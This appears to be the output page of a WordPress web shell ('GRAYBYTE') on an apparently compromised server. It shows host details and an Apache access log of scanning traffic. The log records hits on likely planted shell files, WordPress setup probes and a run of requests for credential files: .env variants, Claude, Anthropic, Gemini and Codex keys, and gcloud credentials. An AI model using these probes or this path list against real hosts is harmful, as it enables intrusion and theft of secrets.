✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
/var/log/apache2/domlogs/blackpussy06/
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /var/log/apache2/domlogs/blackpussy06//blackpussy06.men-ssl_log
45.148.10.5 - - [11/Sep/2026:08:14:56 -0400] "GET / HTTP/1.1" 200 1728 "-" "Mozilla/5.0 (Linux; Android 6.0.1; SM-T550) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Safari/537.36"
45.148.10.5 - - [11/Sep/2026:08:14:57 -0400] "POST /wp-json/batch/v1 HTTP/2" 404 1251 "-" "curl/7.68.0"
45.148.10.5 - - [11/Sep/2026:08:14:57 -0400] "POST /?rest_route=/batch/v1 HTTP/2" 200 7660 "-" "curl/7.68.0"
43.134.100.175 - - [11/Sep/2026:08:36:23 -0400] "GET / HTTP/1.1" 200 1728 "http://163.245.207.76:443" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
198.12.115.18 - - [11/Sep/2026:08:43:25 -0400] "GET / HTTP/1.1" 200 7667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.226.197.42 - - [11/Sep/2026:09:29:50 -0400] "GET / HTTP/1.1" 200 1729 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
185.226.197.42 - - [11/Sep/2026:09:29:55 -0400] "POST /mcp HTTP/2" 404 1251 "-" "python-httpx/0.28.1"
185.226.197.42 - - [11/Sep/2026:09:29:55 -0400] "GET /sse HTTP/2" 404 1251 "-" "python-httpx/0.28.1"
185.226.197.45 - - [11/Sep/2026:09:29:55 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
52.180.147.110 - - [11/Sep/2026:09:47:23 -0400] "GET /actuator/health HTTP/1.1" 404 1251 "-" "Mozilla/5.0 zgrab/0.x"
143.110.151.214 - - [11/Sep/2026:09:49:00 -0400] "GET / HTTP/1.1" 200 1723 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0"
143.110.151.214 - - [11/Sep/2026:09:49:02 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "https://ftp.ba-guo.com.tw/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0"
47.251.47.151 - - [11/Sep/2026:09:57:42 -0400] "GET / HTTP/1.1" 200 7660 "-" "curl/7.64.1"
47.251.47.151 - - [11/Sep/2026:09:57:42 -0400] "GET / HTTP/2" 200 1729 "-" "curl/7.74.0"
2.194.64.226 - - [11/Sep/2026:10:17:54 -0400] "GET / HTTP/1.1" 200 1483 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
185.218.86.25 - - [11/Sep/2026:11:02:12 -0400] "GET / HTTP/1.1" 200 1729 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
157.230.153.76 - - [11/Sep/2026:12:16:10 -0400] "GET / HTTP/1.1" 200 1729 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET / HTTP/2" 200 1485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/css/autoindex.css HTTP/2" 200 1170 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/2" 200 2137 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/2" 200 322 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/icons/folder-fill.svg HTTP/2" 200 333 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/icons/file.svg HTTP/2" 200 354 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /_autoindex/assets/icons/file-text.svg HTTP/2" 200 394 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:23:55 -0400] "GET /favicon.ico HTTP/2" 404 1251 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:13 -0400] "GET /bestzyx.com.tw/ HTTP/2" 404 9310 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:19 -0400] "GET /big-wife.com.tw/ HTTP/2" 404 10091 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET / HTTP/2" 200 1485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/css/autoindex.css HTTP/2" 200 1170 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/2" 200 2137 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/2" 200 322 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/icons/folder-fill.svg HTTP/2" 200 333 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/icons/file.svg HTTP/2" 200 354 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
86.28.166.223 - - [11/Sep/2026:12:24:33 -0400] "GET /_autoindex/assets/icons/file-text.svg HTTP/2" 200 394 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
43.164.131.148 - - [11/Sep/2026:13:10:23 -0400] "GET / HTTP/1.1" 200 1729 "http://163.245.207.76:443" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
40.119.43.9 - - [11/Sep/2026:13:11:49 -0400] "GET / HTTP/1.1" 200 1729 "http://163.245.207.76:443/" "Mozilla/5.0 zgrab/0.x"
185.12.59.118 - - [11/Sep/2026:13:13:27 -0400] "GET / HTTP/2" 200 1729 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"
109.52.61.251 - - [11/Sep/2026:13:35:56 -0400] "GET / HTTP/1.1" 200 1483 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
43.157.98.187 - - [11/Sep/2026:14:06:02 -0400] "GET /mah.php HTTP/1.1" 200 1945 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.135.183.82 - - [11/Sep/2026:14:17:31 -0400] "GET /upgrade/index.php HTTP/1.1" 200 6449 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.164.196.244 - - [11/Sep/2026:14:27:26 -0400] "GET /upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.134.91.35 - - [11/Sep/2026:14:36:05 -0400] "GET /upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.166.242.189 - - [11/Sep/2026:14:49:46 -0400] "GET /wp-content/themes/twentytwentyfive/templates/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.166.242.189 - - [11/Sep/2026:14:49:50 -0400] "GET /wp-content/themes/twentytwentyfive/templates/index.php?p= HTTP/1.1" 200 15920 "https://163.245.207.76:443/wp-content/themes/twentytwentyfive/templates/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.157.142.101 - - [11/Sep/2026:14:55:42 -0400] "GET /upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
2.194.71.187 - - [11/Sep/2026:14:56:44 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.194.71.143 - - [11/Sep/2026:14:56:48 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.194.71.153 - - [11/Sep/2026:14:58:03 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.193.230.124 - - [11/Sep/2026:15:03:15 -0400] "GET / HTTP/1.1" 200 1480 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
43.131.36.84 - - [11/Sep/2026:15:05:55 -0400] "GET /upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
2.194.67.81 - - [11/Sep/2026:15:12:20 -0400] "GET / HTTP/1.1" 200 1486 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
49.51.252.146 - - [11/Sep/2026:15:17:39 -0400] "GET /upgrade/index.php?file_location=/home/blackpussy06/public_html/upgrade//.htaccess&location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 6606 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.164.3.23 - - [11/Sep/2026:15:25:09 -0400] "GET /upgrade/admin.php?k=u HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
165.154.236.229 - - [11/Sep/2026:15:38:06 -0400] "GET / HTTP/1.1" 200 7660 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:06 -0400] "GET /betcity.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 56869 "https://163.245.207.76:443/betcity.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:07 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 38625 "https://163.245.207.76:443/ba-guo.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:08 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 48230 "https://163.245.207.76:443/beauty-dental.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:08 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 23427 "https://163.245.207.76:443/besth2o.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:08 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 42127 "https://163.245.207.76:443/bestjudy.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:08 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 36691 "https://163.245.207.76:443/bestzyx.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:08 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bfl.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 50094 "https://163.245.207.76:443/bodbooks.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 43143 "https://163.245.207.76:443/big-wife.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 13503 "https://163.245.207.76:443/bft.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 86048 "https://163.245.207.76:443/bioway88.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 31020 "https://163.245.207.76:443/biotaiwan.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:09 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 94333 "https://163.245.207.76:443/bfl.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:10 -0400] "GET /upgrade/ HTTP/1.1" 200 30755 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:10 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:11 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:11 -0400] "GET /bossini.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:12 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:11 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 22192 "https://163.245.207.76:443/booking-wise2.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:12 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 75714 "https://163.245.207.76:443/bogroup.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:12 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:12 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 65005 "https://163.245.207.76:443/bossini.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:12 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 63990 "https://163.245.207.76:443/broadweb.com.tw/" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:13 -0400] "GET /wp-content/ HTTP/1.1" 200 1566 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:13 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
165.154.236.229 - - [11/Sep/2026:15:38:13 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 2968 "https://163.245.207.76:443/wordpress-6.6.2-zh_TW/" "Go-http-client/1.1"
2.194.71.151 - - [11/Sep/2026:15:38:59 -0400] "GET / HTTP/1.1" 200 1486 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.194.71.187 - - [11/Sep/2026:15:40:32 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
13.205.83.45 - - [11/Sep/2026:15:40:52 -0400] "GET / HTTP/1.1" 200 7660 "-" "Mozilla/5.0"
13.205.83.45 - - [11/Sep/2026:15:40:53 -0400] "GET / HTTP/1.1" 200 7660 "-" "Mozilla/5.0"
165.154.236.229 - - [11/Sep/2026:15:41:53 -0400] "GET / HTTP/1.1" 200 7660 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:53 -0400] "GET /.claude/.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:54 -0400] "GET /credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:56 -0400] "GET /.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:57 -0400] "GET /.claude/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:57 -0400] "GET /.claude/settings.local.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:58 -0400] "GET /.claude.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:41:59 -0400] "GET /.claude/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:00 -0400] "GET /.anthropic/api_key HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:01 -0400] "GET /.anthropic/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:02 -0400] "GET /.config/anthropic/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:03 -0400] "GET /.claude/history.jsonl HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:04 -0400] "GET /CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:05 -0400] "GET /.claude/CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:05 -0400] "GET /AGENTS.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:06 -0400] "GET /.cursorrules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:07 -0400] "GET /.windsurfrules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:08 -0400] "GET /.clinerules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:09 -0400] "GET /.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:10 -0400] "GET /.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:11 -0400] "GET /.env.production HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:12 -0400] "GET /.env.development HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:13 -0400] "GET /.env.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:14 -0400] "GET /.openclaw/openclaw.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:15 -0400] "GET /.gemini/oauth_creds.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:16 -0400] "GET /.gemini/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:17 -0400] "GET /.codex/auth.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:18 -0400] "GET /.config/gcloud/application_default_credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
